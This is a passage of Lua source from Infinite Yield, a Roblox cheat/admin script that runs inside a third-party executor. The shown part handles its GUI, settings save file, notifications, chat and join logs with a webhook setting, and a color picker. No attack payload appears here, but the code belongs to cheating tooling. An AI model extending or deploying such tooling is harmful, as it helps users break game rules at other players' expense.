if everyClipboard then
toClipboard("https://discord.gg/78ZuWSq")
inviteButton.Text = "Copied"
else
inviteButton.Text = "No Clipboard Function, type out the link"
end
local pressTime = tick()
lastPress = pressTime
wait(2)
if lastPress ~= pressTime then return end
inviteButton.Text = "Copy Discord Invite Link (https://discord.gg/78ZuWSq)"
end)
dragGUI(main)
main.Parent = ScaledHolder
ReferenceButton.MouseButton1Click:Connect(function()
main:TweenPosition(UDim2.new(0.5,-250,0.5,-150), "InOut", "Quart", 0.5, true, nil)
end)
end)()
currentShade1 = Color3.fromRGB(36, 36, 37)
currentShade2 = Color3.fromRGB(46, 46, 47)
currentShade3 = Color3.fromRGB(78, 78, 79)
currentText1 = Color3.new(1, 1, 1)
currentText2 = Color3.new(0, 0, 0)
currentScroll = Color3.fromRGB(78,78,79)
defaultGuiScale = IsOnMobile and 0.9 or 1
defaultsettings = {
prefix = ';';
StayOpen = false;
guiScale = defaultGuiScale;
espTransparency = 0.3;
keepIY = true;
logsEnabled = false;
jLogsEnabled = false;
aliases = {};
binds = {};
WayPoints = {};
PluginsTable = {};
currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B};
currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B};
currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B};
currentText1 = {currentText1.R,currentText1.G,currentText1.B};
currentText2 = {currentText2.R,currentText2.G,currentText2.B};
currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B};
eventBinds = eventEditor.SaveData()
}
defaults = HttpService:JSONEncode(defaultsettings)
nosaves = false
useFactorySettings = function()
prefix = ';'
StayOpen = false
guiScale = defaultGuiScale
KeepInfYield = true
espTransparency = 0.3
logsEnabled = false
jLogsEnabled = false
logsWebhook = nil
aliases = {}
binds = {}
WayPoints = {}
PluginsTable = {}
end
createPopup = function(text)
local FileError = Instance.new("Frame")
local background = Instance.new("Frame")
local Directions = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ExitImage = Instance.new("ImageLabel")
FileError.Name = randomString()
FileError.Parent = ScaledHolder
FileError.Active = true
FileError.BackgroundTransparency = 1
FileError.Position = UDim2.new(0.5, -180, 0, 290)
FileError.Size = UDim2.new(0, 360, 0, 20)
FileError.ZIndex = 10
background.Name = "background"
background.Parent = FileError
background.Active = true
background.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
background.BorderSizePixel = 0
background.Position = UDim2.new(0, 0, 0, 20)
background.Size = UDim2.new(0, 360, 0, 205)
background.ZIndex = 10
Directions.Name = "Directions"
Directions.Parent = background
Directions.BackgroundTransparency = 1
Directions.BorderSizePixel = 0
Directions.Position = UDim2.new(0, 10, 0, 10)
Directions.Size = UDim2.new(0, 340, 0, 185)
Directions.Font = Enum.Font.SourceSans
Directions.TextSize = 14
Directions.Text = text
Directions.TextColor3 = Color3.new(1, 1, 1)
Directions.TextWrapped = true
Directions.TextXAlignment = Enum.TextXAlignment.Left
Directions.TextYAlignment = Enum.TextYAlignment.Top
Directions.ZIndex = 10
shadow.Name = "shadow"
shadow.Parent = FileError
shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
shadow.BorderSizePixel = 0
shadow.Size = UDim2.new(0, 360, 0, 20)
shadow.ZIndex = 10
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Size = UDim2.new(1, 0, 0.95, 0)
PopupText.ZIndex = 10
PopupText.Font = Enum.Font.SourceSans
PopupText.TextSize = 14
PopupText.Text = "File Error"
PopupText.TextColor3 = Color3.new(1, 1, 1)
PopupText.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundTransparency = 1
Exit.Position = UDim2.new(1, -20, 0, 0)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.Text = ""
Exit.ZIndex = 10
ExitImage.Parent = Exit
ExitImage.BackgroundColor3 = Color3.new(1, 1, 1)
ExitImage.BackgroundTransparency = 1
ExitImage.Position = UDim2.new(0, 5, 0, 5)
ExitImage.Size = UDim2.new(0, 10, 0, 10)
ExitImage.Image = getcustomasset("infiniteyield/assets/close.png")
ExitImage.ZIndex = 10
Exit.MouseButton1Click:Connect(function()
FileError:Destroy()
end)
end
local loadedEventData = nil
local jsonAttempts = 0
function saves()
if writefileExploit() and readfileExploit() and jsonAttempts < 10 then
local readSuccess, out = readfile("IY_FE.iy", true)
if readSuccess then
if out ~= nil and tostring(out):gsub("%s", "") ~= "" then
local success, response = pcall(function()
local json = HttpService:JSONDecode(out)
if vtype(json.prefix, "string") then prefix = json.prefix else prefix = ';' end
if vtype(json.StayOpen, "boolean") then StayOpen = json.StayOpen else StayOpen = false end
if vtype(json.guiScale, "number") then guiScale = json.guiScale else guiScale = defaultGuiScale end
if vtype(json.keepIY, "boolean") then KeepInfYield = json.keepIY else KeepInfYield = true end
if vtype(json.espTransparency, "number") then espTransparency = json.espTransparency else espTransparency = 0.3 end
if vtype(json.logsEnabled, "boolean") then logsEnabled = json.logsEnabled else logsEnabled = false end
if vtype(json.jLogsEnabled, "boolean") then jLogsEnabled = json.jLogsEnabled else jLogsEnabled = false end
if vtype(json.logsWebhook, "string") then logsWebhook = json.logsWebhook else logsWebhook = nil end
if vtype(json.aliases, "table") then aliases = json.aliases else aliases = {} end
if vtype(json.binds, "table") then binds = json.binds else binds = {} end
if vtype(json.spawnCmds, "table") then spawnCmds = json.spawnCmds end
if vtype(json.WayPoints, "table") then AllWaypoints = json.WayPoints else WayPoints = {} AllWaypoints = {} end
if vtype(json.PluginsTable, "table") then PluginsTable = json.PluginsTable else PluginsTable = {} end
if vtype(json.currentShade1, "table") then currentShade1 = Color3.new(json.currentShade1[1],json.currentShade1[2],json.currentShade1[3]) end
if vtype(json.currentShade2, "table") then currentShade2 = Color3.new(json.currentShade2[1],json.currentShade2[2],json.currentShade2[3]) end
if vtype(json.currentShade3, "table") then currentShade3 = Color3.new(json.currentShade3[1],json.currentShade3[2],json.currentShade3[3]) end
if vtype(json.currentText1, "table") then currentText1 = Color3.new(json.currentText1[1],json.currentText1[2],json.currentText1[3]) end
if vtype(json.currentText2, "table") then currentText2 = Color3.new(json.currentText2[1],json.currentText2[2],json.currentText2[3]) end
if vtype(json.currentScroll, "table") then currentScroll = Color3.new(json.currentScroll[1],json.currentScroll[2],json.currentScroll[3]) end
if vtype(json.eventBinds, "string") then loadedEventData = json.eventBinds end
end)
if not success then
jsonAttempts = jsonAttempts + 1
warn("Save Json Error:", response)
warn("Overwriting Save File")
writefile("IY_FE.iy", defaults, true)
wait()
saves()
end
else
writefile("IY_FE.iy", defaults, true)
wait()
local dReadSuccess, dOut = readfile("IY_FE.iy", true)
if dReadSuccess and dOut ~= nil and tostring(dOut):gsub("%s", "") ~= "" then
saves()
else
nosaves = true
useFactorySettings()
createPopup("There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile/readfile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again.")
end
end
else
writefile("IY_FE.iy", defaults, true)
wait()
local dReadSuccess, dOut = readfile("IY_FE.iy", true)
if dReadSuccess and dOut ~= nil and tostring(dOut):gsub("%s", "") ~= "" then
saves()
else
nosaves = true
useFactorySettings()
createPopup("There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile/readfile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again.")
end
end
else
if jsonAttempts >= 10 then
nosaves = true
useFactorySettings()
createPopup("Sorry, we have attempted to parse your save file, but it is unreadable!\n\nInfinite Yield is now using factory settings until your exploit's file system works.\n\nYour save file has not been deleted.")
else
nosaves = true
useFactorySettings()
end
end
end
saves()
function updatesaves()
if nosaves == false and writefileExploit() then
local update = {
prefix = prefix;
StayOpen = StayOpen;
guiScale = guiScale;
keepIY = KeepInfYield;
espTransparency = espTransparency;
logsEnabled = logsEnabled;
jLogsEnabled = jLogsEnabled;
logsWebhook = logsWebhook;
aliases = aliases;
binds = binds or {};
WayPoints = AllWaypoints;
PluginsTable = PluginsTable;
currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B};
currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B};
currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B};
currentText1 = {currentText1.R,currentText1.G,currentText1.B};
currentText2 = {currentText2.R,currentText2.G,currentText2.B};
currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B};
eventBinds = eventEditor.SaveData()
}
writefileCooldown("IY_FE.iy", HttpService:JSONEncode(update))
end
end
eventEditor.SetOnEdited(updatesaves)
pWayPoints = {}
WayPoints = {}
if #AllWaypoints > 0 then
for i = 1, #AllWaypoints do
if not AllWaypoints[i].GAME or AllWaypoints[i].GAME == PlaceId then
WayPoints[#WayPoints + 1] = {NAME = AllWaypoints[i].NAME, COORD = {AllWaypoints[i].COORD[1], AllWaypoints[i].COORD[2], AllWaypoints[i].COORD[3]}, GAME = AllWaypoints[i].GAME}
end
end
end
if type(binds) ~= "table" then binds = {} end
if type(PluginsTable) == "table" then
for i = #PluginsTable, 1, -1 do
if string.sub(PluginsTable[i], -3) ~= ".iy" then
table.remove(PluginsTable, i)
end
end
end
function Time()
local HOUR = math.floor((tick() % 86400) / 3600)
local MINUTE = math.floor((tick() % 3600) / 60)
local SECOND = math.floor(tick() % 60)
local AP = HOUR > 11 and 'PM' or 'AM'
HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
HOUR = HOUR < 10 and '0' .. HOUR or HOUR
MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
SECOND = SECOND < 10 and '0' .. SECOND or SECOND
return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP
end
PrefixBox.Text = prefix
local SettingsOpen = false
local isHidden = false
if StayOpen == false then
On.BackgroundTransparency = 1
else
On.BackgroundTransparency = 0
end
if logsEnabled then
Toggle.Text = 'Enabled'
else
Toggle.Text = 'Disabled'
end
if jLogsEnabled then
Toggle_2.Text = 'Enabled'
else
Toggle_2.Text = 'Disabled'
end
function maximizeHolder()
if StayOpen == false then
Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -220), "InOut", "Quart", 0.2, true, nil)
end
end
minimizeNum = -20
function minimizeHolder()
if StayOpen == false then
Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, minimizeNum), "InOut", "Quart", 0.5, true, nil)
end
end
function cmdbarHolder()
if StayOpen == false then
Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -45), "InOut", "Quart", 0.5, true, nil)
end
end
pinNotification = nil
local notifyCount = 0
function notify(text,text2,length)
task.spawn(function()
local LnotifyCount = notifyCount+1
local notificationPinned = false
notifyCount = notifyCount+1
if pinNotification then pinNotification:Disconnect() end
pinNotification = PinButton.MouseButton1Click:Connect(function()
task.spawn(function()
pinNotification:Disconnect()
notificationPinned = true
Title_2.BackgroundTransparency = 1
wait(0.5)
Title_2.BackgroundTransparency = 0
end)
end)
Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.6)
local closepressed = false
if text2 then
Title_2.Text = text
Text_2.Text = text2
else
Title_2.Text = 'Notification'
Text_2.Text = text
end
Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -100), "InOut", "Quart", 0.5, true, nil)
CloseButton.MouseButton1Click:Connect(function()
Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
closepressed = true
pinNotification:Disconnect()
end)
if length and isNumber(length) then
wait(length)
else
wait(10)
end
if LnotifyCount == notifyCount then
if closepressed == false and notificationPinned == false then
pinNotification:Disconnect()
Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
end
notifyCount = 0
end
end)
end
local lastMessage = nil
local lastLabel = nil
local dupeCount = 1
function CreateLabel(Name, Text)
if lastMessage == Name..Text then
dupeCount = dupeCount+1
lastLabel.Text = Time()..' - ['..Name..']: '..Text..' (x'..dupeCount..')'
else
if dupeCount > 1 then dupeCount = 1 end
if #scroll_2:GetChildren() >= 2546 then
scroll_2:ClearAllChildren()
end
local alls = 0
for i,v in pairs(scroll_2:GetChildren()) do
if v then
alls = v.Size.Y.Offset + alls
end
if not v then
alls = 0
end
end
local tl = Instance.new('TextLabel')
lastMessage = Name..Text
lastLabel = tl
tl.Name = Name
tl.Parent = scroll_2
tl.ZIndex = 10
tl.RichText = true
tl.Text = Time().." - ["..Name.."]: "..Text
tl.Text = tl.ContentText
tl.Size = UDim2.new(0,322,0,84)
tl.BackgroundTransparency = 1
tl.BorderSizePixel = 0
tl.Font = "SourceSans"
tl.Position = UDim2.new(-1,0,0,alls)
tl.TextTransparency = 1
tl.TextScaled = false
tl.TextSize = 14
tl.TextWrapped = true
tl.TextXAlignment = "Left"
tl.TextYAlignment = "Top"
tl.TextColor3 = currentText1
tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
table.insert(text1,tl)
scroll_2.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
scroll_2.CanvasPosition = Vector2.new(0,scroll_2.CanvasPosition.Y+tl.TextBounds.Y)
tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
TweenService:Create(tl, TweenInfo.new(1.25, Enum.EasingStyle.Linear), { TextTransparency = 0 }):Play()
end
end
function CreateJoinLabel(plr,ID)
if #scroll_3:GetChildren() >= 2546 then
scroll_3:ClearAllChildren()
end
local infoFrame = Instance.new("Frame")
local info1 = Instance.new("TextLabel")
local info2 = Instance.new("TextLabel")
local ImageLabel_3 = Instance.new("ImageLabel")
infoFrame.Name = randomString()
infoFrame.Parent = scroll_3
infoFrame.BackgroundColor3 = Color3.new(1, 1, 1)
infoFrame.BackgroundTransparency = 1
infoFrame.BorderColor3 = Color3.new(0.105882, 0.164706, 0.207843)
infoFrame.Size = UDim2.new(1, 0, 0, 50)
info1.Name = randomString()
info1.Parent = infoFrame
info1.BackgroundTransparency = 1
info1.BorderSizePixel = 0
info1.Position = UDim2.new(0, 45, 0, 0)
info1.Size = UDim2.new(0, 135, 1, 0)
info1.ZIndex = 10
info1.Font = Enum.Font.SourceSans
info1.FontSize = Enum.FontSize.Size14
info1.Text = "Username: "..plr.Name.."\nJoined Server: "..Time()
info1.TextColor3 = Color3.new(1, 1, 1)
info1.TextWrapped = true
info1.TextXAlignment = Enum.TextXAlignment.Left
info2.Name = randomString()
info2.Parent = infoFrame
info2.BackgroundTransparency = 1
info2.BorderSizePixel = 0
info2.Position = UDim2.new(0, 185, 0, 0)
info2.Size = UDim2.new(0, 140, 1, -5)
info2.ZIndex = 10
info2.Font = Enum.Font.SourceSans
info2.FontSize = Enum.FontSize.Size14
info2.Text = "User ID: "..ID.."\nAccount Age: "..plr.AccountAge.."\nJoined Roblox: Loading..."
info2.TextColor3 = Color3.new(1, 1, 1)
info2.TextWrapped = true
info2.TextXAlignment = Enum.TextXAlignment.Left
info2.TextYAlignment = Enum.TextYAlignment.Center
ImageLabel_3.Parent = infoFrame
ImageLabel_3.BackgroundTransparency = 1
ImageLabel_3.BorderSizePixel = 0
ImageLabel_3.Size = UDim2.new(0, 45, 1, 0)
ImageLabel_3.Image = Players:GetUserThumbnailAsync(ID, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size420x420)
scroll_3.CanvasSize = UDim2.new(0, 0, 0, listlayout.AbsoluteContentSize.Y)
scroll_3.CanvasPosition = Vector2.new(0,scroll_2.CanvasPosition.Y+infoFrame.AbsoluteSize.Y)
wait()
local user = game:HttpGet("https://users.roblox.com/v1/users/"..ID)
local json = HttpService:JSONDecode(user)
local date = json["created"]:sub(1,10)
local splitDates = string.split(date,"-")
info2.Text = string.gsub(info2.Text, "Loading...",splitDates[2].."/"..splitDates[3].."/"..splitDates[1])
end
IYMouse.KeyDown:Connect(function(Key)
if (Key==prefix) then
RunService.RenderStepped:Wait()
Cmdbar:CaptureFocus()
maximizeHolder()
end
end)
local lastMinimizeReq = 0
Holder.MouseEnter:Connect(function()
lastMinimizeReq = 0
maximizeHolder()
end)
Holder.MouseLeave:Connect(function()
if not Cmdbar:IsFocused() then
local reqTime = tick()
lastMinimizeReq = reqTime
wait(1)
if lastMinimizeReq ~= reqTime then return end
if not Cmdbar:IsFocused() then
minimizeHolder()
end
end
end)
function updateColors(color,ctype)
if ctype == shade1 then
for i,v in pairs(shade1) do
v.BackgroundColor3 = color
end
currentShade1 = color
elseif ctype == shade2 then
for i,v in pairs(shade2) do
v.BackgroundColor3 = color
end
currentShade2 = color
elseif ctype == shade3 then
for i,v in pairs(shade3) do
v.BackgroundColor3 = color
end
currentShade3 = color
elseif ctype == text1 then
for i,v in pairs(text1) do
v.TextColor3 = color
if v:IsA("TextBox") then
v.PlaceholderColor3 = color
end
end
currentText1 = color
elseif ctype == text2 then
for i,v in pairs(text2) do
v.TextColor3 = color
end
currentText2 = color
elseif ctype == scroll then
for i,v in pairs(scroll) do
v.ScrollBarImageColor3 = color
end
currentScroll = color
end
end
local colorpickerOpen = false
ColorsButton.MouseButton1Click:Connect(function()
cache_currentShade1 = currentShade1
cache_currentShade2 = currentShade2
cache_currentShade3 = currentShade3
cache_currentText1 = currentText1
cache_currentText2 = currentText2
cache_currentScroll = currentScroll
if not colorpickerOpen then
colorpickerOpen = true
picker = game:GetObjects("rbxassetid://4908465318")[1]
picker.Name = randomString()
picker.Parent = ScaledHolder
local ColorPicker do
ColorPicker = {}
ColorPicker.new = function()
local newMt = setmetatable({},{})
local pickerGui = picker.ColorPicker
local pickerTopBar = pickerGui.TopBar
local pickerExit = pickerTopBar.Exit
local pickerFrame = pickerGui.Content
local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace
local colorStrip = pickerFrame.ColorStrip
local previewFrame = pickerFrame.Preview
local basicColorsFrame = pickerFrame.BasicColors
local customColorsFrame = pickerFrame.CustomColors
local defaultButton = pickerFrame.Default
local cancelButton = pickerFrame.Cancel
local shade1Button = pickerFrame.Shade1
local shade2Button = pickerFrame.Shade2
local shade3Button = pickerFrame.Shade3
local text1Button = pickerFrame.Text1
local text2Button = pickerFrame.Text2
local scrollButton = pickerFrame.Scroll
local colorScope = colorSpace.Scope
local colorArrow = pickerFrame.ArrowFrame.Arrow
local hueInput = pickerFrame.Hue.Input
local satInput = pickerFrame.Sat.Input
local valInput = pickerFrame.Val.Input
local redInput = pickerFrame.Red.Input
local greenInput = pickerFrame.Green.Input
local blueInput = pickerFrame.Blue.Input
local mouse = IYMouse
local hue,sat,val = 0,0,1
local red,green,blue = 1,1,1
local chosenColor = Color3.new(0,0,0)
local basicColors = {Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.66666668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.49803924560547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.66666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.66666668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.66666668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Color3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.49803924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.66666668653488,0.49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.33333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.33333334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Color3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)}
local customColors = {}
dragGUI(picker)
local function updateColor(noupdate)
local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 - sat*199, 199 - val*199
local hsvColor = Color3.fromHSV(hue,sat,val)
if noupdate == 2 or not noupdate then
hueInput.Text = tostring(math.ceil(359*hue))
satInput.Text = tostring(math.ceil(255*sat))
valInput.Text = tostring(math.floor(255*val))
end
if noupdate == 1 or not noupdate then
redInput.Text = tostring(math.floor(255*red))
greenInput.Text = tostring(math.floor(255*green))
blueInput.Text = tostring(math.floor(255*blue))
end
chosenColor = Color3.new(red,green,blue)
colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9)
colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1)
colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4)
previewFrame.BackgroundColor3 = chosenColor
newMt.Color = chosenColor
if newMt.Changed then newMt:Changed(chosenColor) end
end
local function colorSpaceInput()
local relativeX = mouse.X - colorSpace.AbsolutePosition.X
local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y
if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then relativeX = 219 end
if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
hue = (219 - relativeX)/219
sat = (199 - relativeY)/199
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
updateColor()
end
local function colorStripInput()
local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y
if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
val = (199 - relativeY)/199
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
updateColor()
end
local function hookButtons(frame,func)
frame.ArrowFrame.Up.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
frame.ArrowFrame.Up.BackgroundTransparency = 0.5
elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,runEvent
local startTime = tick()
local pressing = true
local startNum = tonumber(frame.Text)
if not startNum then return end
releaseEvent = UserInputService.InputEnded:Connect(function(input)
if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)
startNum = startNum + 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum + 1
func(startNum)
end
wait(0.1)
end
end
end)
frame.ArrowFrame.Up.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
frame.ArrowFrame.Up.BackgroundTransparency = 1
end
end)
frame.ArrowFrame.Down.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
frame.ArrowFrame.Down.BackgroundTransparency = 0.5
elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,runEvent
local startTime = tick()
local pressing = true
local startNum = tonumber(frame.Text)
if not startNum then return end
releaseEvent = UserInputService.InputEnded:Connect(function(input)
if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)
startNum = startNum - 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum - 1
func(startNum)
end
wait(0.1)
end
end
end)
frame.ArrowFrame.Down.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
frame.ArrowFrame.Down.BackgroundTransparency = 1
end
end)
end
colorSpace.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
releaseEvent = UserInputService.InputEnded:Connect(function(input)
if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = UserInputService.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
colorSpaceInput()
end
end)
colorSpaceInput()
end
end)
colorStrip.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
releaseEvent = UserInputService.InputEnded:Connect(function(input)
if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = UserInputService.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
colorStripInput()
end
end)
colorStripInput()
end
end)
local function updateHue(str)
local num = tonumber(str)
if num then
hue = math.clamp(math.floor(num),0,359)/359
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
hueInput.Text = tostring(hue*359)
updateColor(1)
end
end
hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end) hookButtons(hueInput,updateHue)
local function updateSat(str)
local num = tonumber(str)
if num then
sat = math.clamp(math.floor(num),0,255)/255
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
satInput.Text = tostring(sat*255)
updateColor(1)
end
end
satInput.FocusLost:Connect(function() updateSat(satInput.Text) end) hookButtons(satInput,updateSat)
local function updateVal(str)
local num = tonumber(str)
if num then
val = math.clamp(math.floor(num),0,255)/255
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
valInput.Text = tostring(val*255)
updateColor(1)
end
end
valInput.FocusLost:Connect(function() updateVal(valInput.Text) end) hookButtons(valInput,updateVal)
local function updateRed(str)
local num = tonumber(str)
if num then
red = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
redInput.Text = tostring(red*255)
updateColor(2)
end
end
redInput.FocusLost:Connect(function() updateRed(redInput.Text) end) hookButtons(redInput,updateRed)
local function updateGreen(str)
local num = tonumber(str)
if num then
green = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
greenInput.Text = tostring(green*255)
updateColor(2)
end
end
greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text) end) hookButtons(greenInput,updateGreen)
local function updateBlue(str)
local num = tonumber(str)
if num then
blue = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
blueInput.Text = tostring(blue*255)
updateColor(2)
end
end
blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end) hookButtons(blueInput,updateBlue)
local colorChoice = Instance.new("TextButton")
colorChoice.Name = "Choice"
colorChoice.Size = UDim2.new(0,25,0,18)
colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255)
colorChoice.Text = ""
colorChoice.AutoButtonColor = false
colorChoice.ZIndex = 10
local row = 0
local column = 0
for i,v in pairs(basicColors) do
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = v
newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row)
newColor.MouseButton1Click:Connect(function()
red,green,blue = v.r,v.g,v.b
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
updateColor()
end)
newColor.Parent = basicColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end
row = 0
column = 0
for i = 1,12 do
local color = customColors[i] or Color3.new(0,0,0)
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = color
newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row)
newColor.MouseButton1Click:Connect(function()
local curColor = customColors[i] or Color3.new(0,0,0)
red,green,blue = curColor.r,curColor.g,curColor.b
hue,sat,val = Color3.toHSV(curColor)
updateColor()
end)
newColor.MouseButton2Click:Connect(function()
customColors[i] = chosenColor
newColor.BackgroundColor3 = chosenColor
end)
newColor.Parent = customColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end
shade1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade1) end end)
shade1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0.4 end end)
shade1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0 end end)
shade2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade2) end end)
shade2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0.4 end end)
shade2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0 end end)
shade3Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade3) end end)
